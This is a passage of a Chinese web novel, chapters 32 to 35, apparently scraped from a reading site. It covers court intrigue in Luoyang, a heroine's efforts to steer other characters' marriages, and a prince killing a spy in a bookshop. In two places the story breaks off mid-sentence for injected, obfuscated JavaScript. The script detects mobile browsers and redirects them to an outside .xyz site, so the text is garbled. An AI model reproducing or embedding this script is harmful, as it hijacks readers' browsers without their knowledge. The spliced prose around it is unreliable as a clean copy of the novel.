“这是当年堂姑母的清修之地。” “是,”住持低眉顺目,双手合十,声音里带着说不尽的叹息,“当年华阳长公主曾在此礼佛,公主离开后,便被关闭了,再也不曾打开过。” 咸阳王动作一顿,目光凝在那扇大门上。 华阳的事情,他人或许了解得不那么清晰,但他牵涉太深,是再清楚不过的。 她进永宁寺的时候,精神就已经不太正常,名为清修,实则与软禁毫无区别。 他本要示意属下开门,一瞬间迟钝了下来,抬起的手停在半空,终究没有落下。 住在这里的换做其他任何人,哪怕是太后,也未见得能阻止他,但是华阳……就像一个禁忌。 这个禁忌已经被埋葬在坟墓里,如同被掩盖好的腐烂疮疤,最好谁也不要再提起,更不能暴露在众目睽睽之下。 他望向院子里露出的半截葳蕤草木,杂草丛生到这样的地步,看起来许多年没有人再进去打理过,已经显现出彻底荒废的情态。 咸阳王沉默片刻,道:“罢了,既然如此,这里就不必查了。” 晏绝冷静地旁观一切,没有放过他的每一个表情变化。 见咸阳王暂且放弃了搜查,将要离开,在擦肩而过的瞬间,他忽然道:“叔父若是对这桩案子感兴趣,我倒是有件线索。” 咸阳王脚步慢下来,语气不冷不热:“什么线索?” “叔父怀疑太常少卿,若真是他做了这件事,调动府上的家奴又太明显,还能吩咐谁?叔父觉得,他在京城中会有什么样的暗线?” 咸阳王终于驻足,眼中掠过一丝精光:萧徵原是南梁人,除了建兴长公主的关系,他能牵涉到的,也应当和这另一层身份有关。 他明白了话中的意思,神色转寒:“京城中有南人奸细,陛下早已知情,只是军务更要紧,所以只命人暗中调查。” 咸阳王沉下的声音含着警告之意,“既然清河王对此亦有所知,我会传书上禀,暂且便将此事移交由你来处置,待南巡结束,想必清河王会给陛下一个清楚的交代。” 晏绝唇角微勾,但眼中毫无笑意:“叔父如此信任,我自然却之不恭。” 咸阳王无所收获,最终拂袖而去,晏绝依然站在原地,看着那片空旷荒芜的院子。 许久,直到众人都已经散开,他才缓步向外走去。 因为这一场查封,寺外车马喧嚣,许多人聚集在这里,而在其中,有个熟悉的身影。 傅苒背对着门,所以全然没有注意到他,正在面对一个文士模样的俊雅青年交谈。 青年温文儒雅,对她说话时微微俯首,显得很是体贴。 他不由自主般地停了下来,望向那一处。 32. 第 32 章 傅苒完全没想到,陪女主回个家都能遇见新男配。 好不容易把人从矛盾中心拽了出来,她眼看着苏琼月还一步三回头,好像担心萧徵这朵白莲被恶霸摧残似的,感觉槽多无口:“苏姐姐,世子真没有那么脆弱,不用太为他担心了。” “我也明白,只是到底觉得……世子因为过去南朝人的身份,得到的偏见和误解太多了。” 苏琼月自然知道她说的有道理,点了点头,随即又不禁轻叹了口气。 “其实也是因为,小时候我刚从怀朔来到京城时,同样碰见过这样的误会,所以想起自己,难免有些感同身受罢了。” 那时候,她像个胆怯迷茫的外来者,贸然闯入了完全没有见识过的浮华圈子。 她因为礼仪生疏,举止粗陋,跟娇养长大的京城贵女们也并无共同话题,很长时间里都交不上一个朋友。 直到后来认识了平原公主。 晏明光的性格热烈如火,第一次交会,就是她在宴会上被含沙射影地奚落了两句,公主坐在旁边,当着众人的面,毫不掩饰地对那人道:“叽叽喳喳地议论什么?管好自己的事情,少对别人说三道四的。” 往后的很多年,她都始终记得那一天,记得她在最初得到过的维护。 所以不管两人之间有什么争议,她总会选择退让。 “说起来……”苏琼月敛起思绪,又道,“自姑母生辰起,我便少见明光了,最近有空闲,应当多去陪陪她才是。” 晏明光向来声色犬马,绝对不会陪她来过这种礼佛清修的日子,多半是她要迁就晏明光。 傅苒干笑一声:“我确实也好久没见到公主了。” 当然,对她来说,不见就挺好,毕竟晏明光看她可没什么善意。 耽搁了这么一会,她总算拉苏琼月出了门,本是想找苏家的车,视线一转,却注意到另一辆略有些熟悉的马车。 青黑色的车身和帷帘,上面还有她认识的徽记,好像是崔家的。 难不成崔鸯今天也来了? 她不禁停下了脚步,往车里望了望,想看看是否有崔鸯的身影。 在这时,身侧不远处有道清朗的男声响起:“敢问女郎可是姓傅,与崔家二娘相识?” 傅苒应声回过头,眼前出现一个文质彬彬的男子。 这人戴着进贤冠,身穿交领宽袖袍服,一幅典型的文士打扮,看起来修长而舒展,有种萧然若松下之风的气度。 他见旁边的苏琼月也跟着好奇地瞧了过来,便后退半步,低眸谦声道:“在下崔林,是崔二娘的长兄。” 崔林,好耳熟的名字。 想都不用想,又是女主的一个爱慕者,她挡这些烂桃花都快要挡累了。 本来嘛,当街说两句话能有多大影响,傅苒不准备再插手的,奈何她脑海中忽然闪过一段相关情节。 她想起来了。 这位崔长公子貌似是平原公主的心仪对象,也就是导致晏明光和苏琼月吵架,然后彻底走向决裂的主要原因。 总的来说,他直接从中起到了一个标准祸水的作用。 这就没办法了,她认命地上前一步,隔开了苏琼月:“是啊,我本想看看崔娘子是不是在这里的,可惜她似乎不在,郎君找我有什么事吗?” 要不是正式场合,傅苒出门很少戴帷帽,反正她又不是真正的世家女郎,没有那么多束缚。 而且当今风气开放,苏太后自辟僚属,直接面见臣子都没什么,其他就更无所谓了。 但崔林不论言行举止都极为遵循礼节,即使在和她交谈的时候,视线也微微垂着,既没有直视她的脸,也不会显得游移散漫。 “舍妹曾向我提起过傅娘子,今日听闻永宁寺有变,她忧心娘子受牵连,特意嘱托我来看看,没想到竟然在此巧遇。” 他先是解释了来由,随即温声道,“敝宅离此不远,若娘子近日得闲,不妨来做客,也好让舍妹安心。” 怪不得,明明她都不认识崔林,原来是受崔鸯之托来邀请她的。 傅苒暗自松了口气,反正不是为了接近女主就好。 她坚决杜绝女主和这位男妲己的交流,飞快地朝崔林点头致意,然后一把拉住苏琼月的袖子,小声道:“苏姐姐,你不是说要去找公主吗?再耽搁下去,天都要黑了。” “也没有这么着急……” 苏琼月哭笑不得,但到底还是顺着她的意思上了车。 崔家宅邸在城西,离永宁寺相距确实不太远,一会就到了。 不过傅苒本来以为,像崔鸯这样看起来极度雅静的人,生活里也是一样阳春白雪,不食人间烟火。 但真的进崔家呆了两天后,她发现,高岭之花也不是没有烦恼的。 如果说崔鸯是气质优雅的话,那崔鸯的母亲李夫人就是她这辈子见过的人里面,最符合“风露清愁”这句形容的女性了。 李夫人出身世家李氏,当年也是有名的才女,及笄后嫁给温文儒雅的崔循,两家此后往来不少。 但崔鸯的烦恼似乎也正在于这里。 傅苒托腮坐在窗边,看崔鸯挑选仆婢送来的各式华美锦缎,她的指尖在暗光流转的纹络上轻轻拂过,最终只挑出一匹很素净的出来,其余的都原封不动地搁在了一旁。 等人走了,她不由得好奇道:“这些料子有什么不好吗?” “也不是,但……”崔鸯神色无奈,“这便是我先前同你说的,舅家送来的。” 李家是崔鸯母亲的娘家,送些东西给她自然没有不合情理之处,但想起崔鸯上次和她提起的表兄,傅苒仿佛忽然明白了这些礼物的深意。 原著里她是嫁到了李家,应该就是表兄没错,问题是看这两回的意思,好像崔鸯自己并没有多情愿啊。 但傅苒还是有点不太明白:“既然是这样,为什么不想办法拒绝呢?” “我自然不愿,可阿母却极希望我能嫁回舅家。” 崔鸯心事重重地叹息道:“阿母一向多思多虑,又身体不大好,我……不忍拂逆她的心意,令她徒然伤心。” “那她想让你嫁给谁?” “便是上次登山时,我提过的表兄,在李家排行第七。” 傅苒总感觉在哪里听过或者见过这个人:“李家排行第七……那个……李七郎?” 崔鸯似有意外:“莫非你早就见过他?” 怎么没见过,不就是上巳胡旋宴里某个自以为风雅放旷的酒蒙子嘛。 险些害舞姬摔倒,还差点弄翻她桌子的那个。 她仔仔细细回忆了一遍李七郎的形象,再和崔鸯比较——结论是这两个人简直天壤之别,怎么想也过不到一起去。 傅苒这下忍不住了:“崔姐姐,我没有干涉你决定的意思,但是这个,要不……再考虑一下。” 对方人看着一般就算了,结局还很糟糕,怎么说崔鸯也完全可以有更好的选择吧。 “而且,”她听着总感觉有点不对,“崔姐姐,你和你阿母明明白白谈过这件事吗?” 崔鸯闻言竟然怔了怔:“没有,只是……从小如此,家中便都默认了。” “可是如果崔姐姐一直不说,你阿母怎么会知道你究竟是怎么想的呢?” 众所周知,古早虐文里大量的阴差阳错,都是因为至少一方不张嘴而造成的。 不管结果如何,好歹开诚公布地谈过,才能明白对方到底是如何想的嘛。 当局者迷和聪不聪明毫无关系,只是当人陷在感情中的时候,便常常看不清迷途,仿佛前方只有一条路可走。 傅苒一直都知道,崔鸯是个极其细致,善于体察别人想法的人。就像在伊水边上初次见面的时候,她马上就能看出问题所在,而且选择了非常体贴和善良的处理方式。 但有时候这种体贴的做法,对于她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588080|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己而言,不一定就是最好的。 窗外的梧桐叶沙沙作响,崔鸯默然了良久。 她仿佛在思索是否该这样做,最终还是没能完全下决心,只摇了摇头道:“罢了,你难得有机会来找我,纠结于这些未免无趣。” 傅苒没有勉强,毕竟这是她的选择,本来就应当由崔鸯自己决定。 崔鸯转移了话题:“苒苒是不是还没怎么逛过洛阳城?” 见傅苒摇头,她眼中泛起浅浅的笑意。 “我虽去过的地方不远,但对洛阳城还算了解,不如明日,你随我同去四通市逛逛?” 洛阳自百年前战乱被毁,曾经一度空而不居,后来经过了数十年重新营建,才重新发展成一座繁荣兴盛的大都城。如今的城中,分为皇城、内城、外郭城三重,东西南北全都规划成整齐的里坊格局。 崔家府邸位于内城,车行一段路,便可以进入中轴线上贯通南北的铜驼大街。从铜驼大街一直往南去,从宣阳门出城,再过洛水上的永桥,就到了四通市。 四通市是洛阳的南外郭城中最繁华的大市,从四方远道而来的商贾和货物全都汇聚在这里,不论是自西域而来的丝绸、香料,还是从南朝进入的货物,在市集中无一不有。 她们穿过一路繁华,最后停在了家书坊前。 这里相隔不远处就是辟雍、灵台和明堂等三雍,再往东一段距离即可到达国子学附近,是学子文士云集的地方。所以除了各色南北杂货以外,附近的书馆画坊也很常见。 这家书坊应该是崔鸯常来的,掌柜一见到她就熟稔道:“娘子所要的龙门碑帖,近日刚到了新的拓本,娘子可要立刻过目?” 里面有上下两层,一楼是普通的书籍,卷轴和碑帖都陈列在二楼。 崔鸯见到有伙计指引上楼,便问傅苒是否要一起,但傅苒对这些不熟悉,所以摇了摇头说:“不用了,我先在下面等你吧。” 她从摆放的书架间随手抽出来了一本,在不远处翻看。 等了一会,忽然听到柜台后面有低低的交谈声,她抬起头,看见掌柜正与一个不起眼的伙计低声说着什么,那人接过封信笺塞入袖中。 傅苒还没来得及细想,书坊大门突然被撞开。 铁甲铿锵声中,十余兵卒鱼贯而入,坊内顾客顿时惊慌失措地四散躲开,书卷哗啦啦落了一地。 场面上唯有掌柜勉强维持着冷静,堆出客气的笑容道:“敢问各位有何贵干?” 门后一个衣着华贵的少年走了进来,少年玉冠束发,腰间蹀躞带上的金饰随着步伐轻轻碰撞,发出细碎的声响。 竟然是晏绝。 他看见傅苒,同样微微停顿了一瞬,然后走近了柜台,露出她熟悉的那种猫捉老鼠般的笑意。 “没什么,只是听说贵地似乎有南朝细作,行暗中传递情报之事,所以不得不来查探一下。” “这……”掌柜面露难色,“小店一直安分守己,绝无这样的行径,还请贵人明察啊。” “是么?可我知道的好像不是如此。” 晏绝也不疾言厉色,反而不紧不慢地取出一册东西,慢条斯理地对着他开始翻看。 “有人汇报给我,上月十七,你有个伙计以购纸为由出城,却在城南柳林与人密会,另外还亲眼见到你在后院喂养了信鸽,嗯,还有……” 他每说一句,刘掌柜的面色便惶恐一分。 话音未落,那个接信的伙计暴起发难,掏出一柄短刀,猛然朝晏绝扑了过去。 寒光乍现的瞬间,傅苒下意识脱口而出。 “殿下小心!” 但袭击者的动作很快,却还有人更快。 来不及看清,短刀不知道什么时候已经换了位置,落到晏绝手中,反插进了那个伙计的胸口。 极轻的扑哧一声。 然后,喷涌而出的血液就这么溅在了掌柜惨白的脸上。 33. 第 33 章 傅苒一个没注意,手中的书啪地掉在了地上。 晏绝的动作太快,也太娴熟,她在后面甚至没能看清过程,那个细作就直接血溅当场了。 等她回过神来,少年已经踢开了尸首,正轻巧地玩弄着那把短刀,如臂使指。染血的刀锋就贴在他的掌心,血迹蜿蜒而下,仿佛某种蛇类的信子。 这场景本该是有点吓人的,但他不知为何做得从容而优雅,丝毫不显得狼藉。 他好像很习惯这件事。 不论刀还是弓箭,这些用来伤人的武器,对晏绝来说似乎都是和衣物一样习以为常的东西。 只是刀刃擦过,他的手上同样沾了血。 傅苒看了看抖若筛糠的掌柜,和表情肃穆的武吏,忽然感觉自己杵在这里显得非常多余。 为了解决这种多余感,她主动给自己找了点活:“殿下,你要不要擦擦血?” 她下意识把自己的手帕递了过去,但他却没有接。 晏绝甚至没有看一眼那张帕子,但却看着她。 怎么不接? 傅苒先是愣了一下,然后感觉自己好像领会了意思。 明面上,他们两个人只在女主相关的剧情里偶然碰见过几次,确实不应该太熟悉,平时没事还是装不认识为好。 小病娇想得还挺全面的嘛。 她正要收回帕子,结果晏绝还是一动不动地盯着她。 他到底要还是不要? 算了,早就知道他很麻烦,也不是一回两回的事情了,傅苒只好又问道:“你没受伤吧?” 晏绝的神情好像缓和了些,然后把沾着血迹的手伸到她前面。 傅苒疑惑数秒,终于领会了意思。 难道是想让她帮忙擦? 那不早说,还整上暗示了,这么别扭干什么。 她无奈地牵过他的手,轻轻把绢帕覆盖在上面:“如果痛的话,稍微忍一下。” 因为怕晏绝手上有伤,她用的力气很小,只是把帕子小心翼翼地从他手上拂过,拭去表面的血迹。 晏绝没有任何反抗,不论她如何对待他,目光无声地流连在她的脸,素洁的衣裙,和干净雪白、没有沾染一点尘灰的手指上。 柔软的丝绢从他的皮肤上面摩擦过,带来微弱的痒意,和一种全然陌生的奇特感受。 而那张手帕已经被染红了许多,她的指尖也有微微的粉色。 让他忽然想,若是把温热的血液涂抹在这样素白的身体上,她会不会恐惧得发抖,亦或是从那双雾蒙蒙的眼睛里落下委屈可怜的泪水? 他慢慢感到一丝干渴。 然而那并非真正的渴意,只是想要破坏和弄脏某件东西的恶劣欲念。 “好了,殿下,擦干净了。” 傅苒把血迹都擦掉,发现他刚才那一番动作虽然看着吓人,但其实并没有留下伤口,便把手松开。 但帕子已经染成这样,大概洗不干净了,要是塞回去,又肯定会把衣服弄脏。 她犹豫地看了看周围,有点没想好要怎么处理:“这张手帕要……” 晏绝顿了顿,道:“给我吧。” 傅苒递给他,看到他放进了蹀躞带下面的佩囊里。 他对那个细作的死毫无触动,只是在看到她无意识瞥向尸首的时候,忽然问:“你害怕吗?” 怎么忽然问这个? 这没头没尾的一句问得傅苒微怔,但她还是诚实道:“有一点。” 其实没有当初深更半夜在永宁寺见到死人的时候那么害怕。 毕竟现在青天白日亮堂堂的,周围充满目击者,晏绝这回也是被袭击的一方,那个人明显要刺杀,所以怎么说也算正当防卫。 而且,大概是运气比较好吧,晏绝在夺过短刀的瞬间避开了她,那柄刀是从她视线看不到的另一侧捅进去的,她并没有目睹到过程,只是难免见到了一点溅出来的血。 明明上一次更可怕,但他也没有问她怕不怕啊。 鉴于他过去的前科,傅苒都要怀疑他是不是又有什么坏心思了。 说真的,其实她一直觉得晏绝的伪装非常,非常地浮于表面,就像一个冷而空洞的灵魂,却偏偏要披上美艳的画皮,把自己包装得全然合乎于世俗的标准。 但只要稍微靠近了一点,就会感觉到他藏着外表下的恶劣。像是在阴暗中无止境漫延生长的藤蔓,想要吞噬所有的光亮,再裹挟着自身,一同黑沉沉地坠入到无底的深渊之中去。 可是这样的人……又奇怪地有一双含情脉脉的眼睛。 不过,傅苒心想,这确实有很多时候都掩盖住了他的实质,如果不是因为她被迫和晏绝打交道太多,没准也觉得他像外表一样只是个漂亮无害的少年。 但是这次,晏绝的反应让她有点意外,他并没有再说什么,反而把短刀收了起来,然后转头让跟随的几个人处理现场。 那个掌柜被血溅了一脸,受的惊吓比她严重得多,毫无反抗地被绑了起来带走。 书坊里原有的其他人也被遣散,一楼完全被封锁,几个武吏则上了楼,傅苒担心崔鸯在上面还不知情,想跟上去看看,却被晏绝拦住了。 “二楼还需要搜查。” 他仿佛原本想说点别的什么,但最后依旧变成了提问:“……你为什么要来这?萧徵让你来的?” 傅苒摇了摇头:“没有啊,世子只说起过琴行之类的,从来没有提起过这个地方。” 何况那都是在苏琼月面前才说的,跟她也没说过。 但听到这些,晏绝的语气变得有些微妙:“你经常和他聊天?” “也不算经常吧……”傅苒没懂他奇怪的关注点,“但世子他对谁都挺和善的,对我也很好。” 少年沉默一瞬:“在你眼里,有对你不好的人吗?” 那当然有,就是殿下你啊。 傅苒虽然心里是这么想的,但没敢这么说。 但晏绝大概是从她的表情和眼神看了出来,眸光微微冷了下来,像是骤然染上一层霜色。 “苒苒!”忽然从背后响起轻柔的女子声音,透着一丝疑惑。 “刚才发生了什么?你没事吧?” 崔鸯在婢女的搀扶下从楼上下来,旁边跟着一名武吏,向晏绝道:“禀报殿下,二楼没有其他闲杂人等,只有这位崔家的女郎,方才已经问询过,她是来买书的,与事情无关。” 傅苒上前挽住崔鸯,小声跟她解释了几句情况,等到再回过头看晏绝的时候,发现他竟然在开始看一本书。 那好像是刚才她拿在手里翻看的,后面因为突然的袭击,就掉在了柜台旁边,晏绝不知道什么时候把它捡了起来。 这本书没什么特别的,只是本诗集罢了。 但他貌似还真的读了一会:“那些故事,你是从这样的书看到的?” 傅苒心想,书确实是书,但这里也不卖安徒生童话和聊斋志异啊。 “我说了我经常去谢公子的书 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她被这么一提醒,突然感觉有点神奇,仔细想想,这貌似还是她第一次,在跟女主没什么联系的场合里遇见小病娇。 的确,脱离了主线里面那些复杂的感情关系,她和晏绝本来就没有什么必然交集。 其实还挺好的。 虽然他们之间,已经不再像开始的时候那么充满提防,但她说到底依然只是为了完成任务而已。 就连她在这个世界的身份,本身也是一层建立在谎言、虚假和欺骗上,经不起推敲的,像薄纸般一触即溃的粉饰。 所以她在崔鸯面前选择撇清了关系:“我们只是之前见过面而已,不算熟悉。” 说完这句话,她莫名感觉到一道视线像附骨之疽般落在了她身上。 可分明这里没有其他人,唯有晏绝站在原地,在光未曾照到的阴影中,他的神色晦暗不清。 “殿下,”傅苒只想赶紧跑路,硬着头皮继续道,“崔姐姐已经解释清楚了,我也没什么要说的了吧?那我们先走了。” 意料之中的沉默,好在她早就习惯晏绝这种阴晴不定的性格了,直接当成是默许,拉着崔鸯快步走出书坊,身后也没有一个人来阻拦。 武吏很快查抄完书坊,从尸体上搜出信件,整理好证物装进漆盒。 二楼,晏绝站在窗边,阳光为他鸦黑的发和眼睫镀上一层黄澄澄的暖色,他昳丽的眸子低垂,望着下面交谈的人。 傅苒在马车旁和崔鸯说话。 在永宁寺她私会萧徵,如今又和南朝细作扯上关系。 但崔氏女会为她作证,当然。 她总是很容易让人相信她的话,哪怕是虚假的。 在这个时候,像是提到了什么有趣的事,傅苒忽然抿起嘴角浅浅笑了一下,唇色是如藤篱下攀附的朝颜花那样柔软的淡粉。 如此脆弱又易逝的生命。 只要暴露在炽烈的日光下,瞬息之间便会如同凋零的露水一般枯干了。 大概是他沉默的时间太久,阴影中的侍从低声问道:“是否需要属下顺着线索继续调查此人?” “不用了,不必关注她。” 晏绝移开了目光,在烛火上引燃了那本书,看着它慢慢被舔舐上来的火苗吞没,直到烧成灰烬。 “继续监察梁王世子的行动,若有异样,再汇报给我。” 34. 第 34 章 在黄河水封冻之前,皇帝的御驾南巡归来。 洛阳城外的官道上覆了薄霜,车轮碾过道路发出沉闷的声响。日头升起的时候,咸阳王就已经率领百官在城门处迎候,待到皇帝翻身下马,城门前各级官员跪迎,三呼万岁之声震彻云霄。 年轻的皇帝抬手示意众人起身,迎着冬日的阳光,他眯起眼睛,视线越过重重人影,落在了远处的永宁寺塔上,那座金顶在城外远远可见,闪着耀目的光。 “陛下离京三月,臣幸不辱命。”咸阳王在这时候上前一步,声音压得很低,仿佛有言语未尽。 皇帝微微颔首,示意他稍后再禀。 宫门次第洞开,御道两侧禁军森立,显阳殿内炭火正旺,驱散了北风带来的寒意,皇帝解下佩剑递给内侍,转身面向咸阳王。 “有劳叔父,京中可有异动?” 咸阳王从袖中取出一卷奏章,呈到案上,接着道:“永宁寺重修的工程,果然藏着蛇鼠,臣已查明账目有异。” “哦?”皇帝眉头一挑,心知肚明这是找到了自己需要的罪证,点了点头,表示对这位倚仗的叔父的信赖。 “但还有一事。”咸阳王的声音到这里沉了几分,“十日前,御史梁巡礼府邸遭人纵火,御史本人无恙,但其幼子葬身火海。” 听到这句,皇帝的脸色顿时阴下来。 数日前他还在洛阳城外的行宫时,就收到了加急的密报。但此刻亲耳听闻,仍觉胸口一阵发闷。 梁巡礼是他亲自提拔的寒门御史,虽然算不上心腹,但也可以算他这边的人,不久之前才查了太后的情夫李怿,将李家人尽数惩办。 此人遭到如此下场,别说他,知情的人都会明白,这是太后的报复。 他对梁巡礼的死不至于有那么大触动,但这种行为无异于往他脸上扇了一巴掌,是赤裸裸的示威。 “有没有查清楚是谁干的?” “纵火之人抓到了,但在狱中自尽……”咸阳王自然不敢怠慢,一一列举了查到的所有线索,最后道,“线索断在梁王世子那头。” 梁王世子…… 皇帝这回没有立刻说话,而是转入了沉思。 太后明面上把关系撇得干干净净,想必怎么查也牵连不到她身上。 贵人们做事一贯如此,哪怕大家都清楚,纵火案的背后无论如何都少不了太后的授意,但几乎没可能找出什么证据来证明这一点。 太后是绝对清白的,至少明面上一定是这样。 至于梁王世子,的确很有嫌疑。 但一来纵然确实是他做的,既然咸阳王这么久都没能找到证据,那最后多半是变成一桩无头公案,看在建兴长公主的面子上,也不好贸然处置,二来……这个人还有别的更重要的用处。 这趟南巡对他而言很有收获,除了巩固已经收入版图的疆域以外,也摸清了南边的情况。 南梁前废帝暴戾无道,被内侍刺杀而死,死后权力中空。建康那边经过一番争夺,已经是当年的义阳王萧承业掌握了朝中大权,看样子,已经得到了足够的支持,有登基称帝的意图。 但在另一边,还有几股势力并不想承认他的地位,尤其以蜀中的成都王为首。 以这样的形势,南梁自己内部都还有得打,可以乘虚而入拿下一些地盘不说,要是萧承业最后真的得胜,那么,萧徵这个质子就是个很不错的筹码。 萧承业虽然还可能再有别的孩子,但毕竟年纪已经不轻,一旦称帝之后,免不了面临国无储君,或者储君太过于年幼的局面,两者都容易生乱。何况萧徵资质出众,就这样放弃了必然可惜。 萧徵可以动,不过并非现在。 皇帝的指节轻轻敲在凭几上,目光凝视着落地缠枝灯跳动的火焰,良久,他开口道:“太常少卿萧徵,对永宁法会监管不力,致使贪腐横行……革职查办。” 这就是暂时的处置了。 事项都汇报完毕,咸阳王若有深意地看了眼晏绝,最后补充:“能查到梁王世子身上,还要多亏了清河王提供的线索。” “哦,是吗?”皇帝有些疲倦地揉了揉额头,迟缓地望向已经长大了的弟弟。 说实话,他和晏绝虽然同被太后抚养长大,但其实并没有他后来刻意表现出来的那么亲近。 甚至在幼年时,他曾经有一段时间对晏绝存着十二分的警惕。 生于皇家,即使是再小的孩子也知道,兄弟不只是兄弟,也是有力的皇位竞争者。而对于他们来说,有时候失去权力,同样意味着失去生命。 他八岁就已经贵为帝王,名义上似乎拥有天下,然而实际却处处掣肘,最初那几年行事几乎是谨小慎微。 因为这个位置并不稳当,如果太后有哪一天对他不满意,她可以暗地里杀了他,然后从晏家扶持一个新的皇帝。 晏绝与他年纪接近,无论哪个方面似乎都最有资格。 然而,出于某些原因,他后来慢慢消除了心里的警惕,反而对这个弟弟格外加以重用。 倒不是他骨肉亲情突然觉醒,而是随着年龄增长,他逐渐开始意识到,比起他,太后分明更不愿意看到晏绝登上太极殿中央的位置。 除了皇帝本人以外,朝中少有人知道,清河王之所以封得早,并不是受重视,而是因为太后当时想把他打发出宫。所以晏绝满十岁没多久,就被有意安排了一个幽州的外任,在那里呆了好几年,最后被他找个职务变动的借口召了回来。 这让皇帝隐隐明白一件事,那就是太后对晏绝仿佛有种深藏的,难以觉察的厌憎。 可不管为什么,对他反而是件好事。 作为皇帝,他必然要用宗室的力量来制衡朝臣,同时还得防备太后的干涉。咸阳王虽然明确站在他这一边,但对方毕竟是叔父,难以完全受他控制和利用,相比起来,清河王则可以说是绝佳的一柄刀。 皇帝半点也没有泄露出内心的思绪,不动声色笑道,“如此说来,清河王在此事上亦有功劳,值得重赏。” “为皇兄分忧是分内之事。” 晏绝的举动和回应都如他所想的恰到好处,和过去的许多岁月一样。 于是,皇帝又当着咸阳王的面和他寒暄了几句小时候的趣事,在冬日炉火温暖的殿内,几乎营造出了一种温情脉脉的气氛。 晏绝噙着平淡的笑意,像往常般作出合适的回应。 他当然清楚这位皇兄是什么意思,无非是不敢让苏太后再次染指权力,所以让咸阳王监国,但又不完全放心咸阳王,所以再多增添一方制衡。 其实太后多年以来,面对棘手的位置,也常常是这么做的。 畏惧和提防着太后,最后却也变得像她。 但太后报复梁巡礼的那一夜,其实是他早早预料到的,因为在检举李家谋反罪的李怿同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610111|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乡堕马而死的时候,他就察觉到了这场报复将要到来。 可他还是什么也没做,直到那夜,看到遥遥的火光映在黑夜里,令人错觉能听到其中的惨呼。 梁巡礼投靠皇帝,得罪了太后,得到意料之中的下场,他对此毫不同情,也没有触动。 如同因果循环,这一天必然会到来,或早或晚,血债总要被清偿。 他自己也是一样。 然而他身上背负的所有罪孽,若要到清算的那一天,恐怕连堕入无间地狱,被业火焚尽,也不足以得到偿还吧? * 御驾南巡回归,引起了城中许多讨论,而且过了没几天,宫中又传来一个好消息:皇帝因喜得一子,当即宣布罢朝三日,并按例大赦天下,以示普天同庆之意。 这段时间,傅苒早就回到了谢府。 所以阔别数月后,她终于看到谢青行不用当值,在家安稳地呆了几天。 看得出来,虽然没有大摆筵席之类的举动,但对于谢青行回来的事情,大家都还是很高兴的,尤其是谢晞容。 “大兄!”谢青行刚回来第一天,谢晞容马上就跑去诉说了自己对长兄的思念,“你可算回来了!二哥三哥整日就知道与国子监的同窗论学,连陪我逛个西市都不肯,太过分了!” 谢青行听完笑着承诺她,只要有空一定会陪她出门去看新开的胡商铺子。 除了东郡公谢易照旧没有任何表示,甚至看到谢青行一切平安,也没有表现出任何欣慰之情,在家宴上板着脸问他:“此番随驾出征,可有所获?立下何等功劳?” 谢青行却完全不意外,平常地回复道:“尚可,圣上英明神武,所到之处流寇尽除,如今边地秩序已定。” 他对父亲的态度和东郡公对待他的态度没什么区别,一问一答,语气平淡得像在朝堂上论政,全无久别重逢的温情。 反倒是在其他弟弟妹妹们面前,他向来要温柔得多,知道傅苒刚刚回家,便问她最近过得怎么样,和崔家娘子玩得是否开心。 说到这件事,傅苒回来之后不久,就收到了崔鸯的信。 崔鸯写信告诉她,竟然真的和母亲沟通了婚事。 “苒苒吾友:暌违数日,思卿前言,深觉有理,吾当与家慈倾心相谈,以解其忧……” 在信里,她说李夫人十分惊讶,似乎还有些伤心,或许是不理解她为什么不想要这样最理想的安排,以至于情绪所致又病了一场。 但最终,李夫人表示会听从崔鸯自己的意愿,崔鸯也不能全然肯定究竟是好是坏,但事情总归已经发生了转机。 写完这一封长信,带着幽香的信笺上是落款和祝愿:“此致,顺颂时宜。” 傅苒把这封信看了好几遍,出神之余还有些犹豫。 李夫人的想法她也能理解,虽然李七郎本人不算多么才华出众,但毕竟是世家子,论家境长相都不算差。何况凭崔鸯母亲的情面,父兄的名望,嫁过去之后李家人看在崔氏的出身上总归都不会薄待她。 站在父母的角度来说,这桩亲事虽然称不上十全十美,至少也是稳妥的选择。 但说到底,最重要的还是崔鸯本人的心意,不管结果怎么样,至少她说出了自己的想法。 只是想到这个选择可能会影响别人的命运,就变得不好判断了。 改变这个点,对于崔鸯来说,到底是不是好事呢? 35. 第 35 章 虽然年前的京城里暗流涌动,但不管怎么样,岁序更迭,年节的喜庆终究压过了一切。 在人们殷切的期盼与忙碌中,日子像是被抽打的陀螺一样飞快地滑过,从小雪,大雪,到冬至,小寒,腊八,过年的氛围变得一天比一天浓厚。 过了腊月八日之后,元日很快就近在眼前,谢府上下早早忙碌起来,红纸、红绸、朱红的灯笼等等全都依次挂起,衬得庭院廊庑都是一片喜气洋洋的。到除夕当天,府上更是前所未有的热闹,祭祖、飨宴,礼毕之后,整个大家庭便都聚在一起守岁,傅苒当然也在其列。 谢晞容向来是坐不住的性子,在母亲陶氏身边还没挨过半盏茶的时间就如坐针毡起来,忍不住几步蹦到长兄谢青行身边,开始使唤人:“长兄,长兄!快给我画门神像嘛!天都黑透了,再不贴就真要误了时候了!” 陶氏闻声,带着嗔意横了她一眼:“这孩子越来越没规矩了,你大兄岁末这些时日忙得脚不沾地,好容易回来吃顿团圆饭,让他好生休息会不成?家里什么门神没有,偏要缠着你长兄现画?还不快回来坐好。” 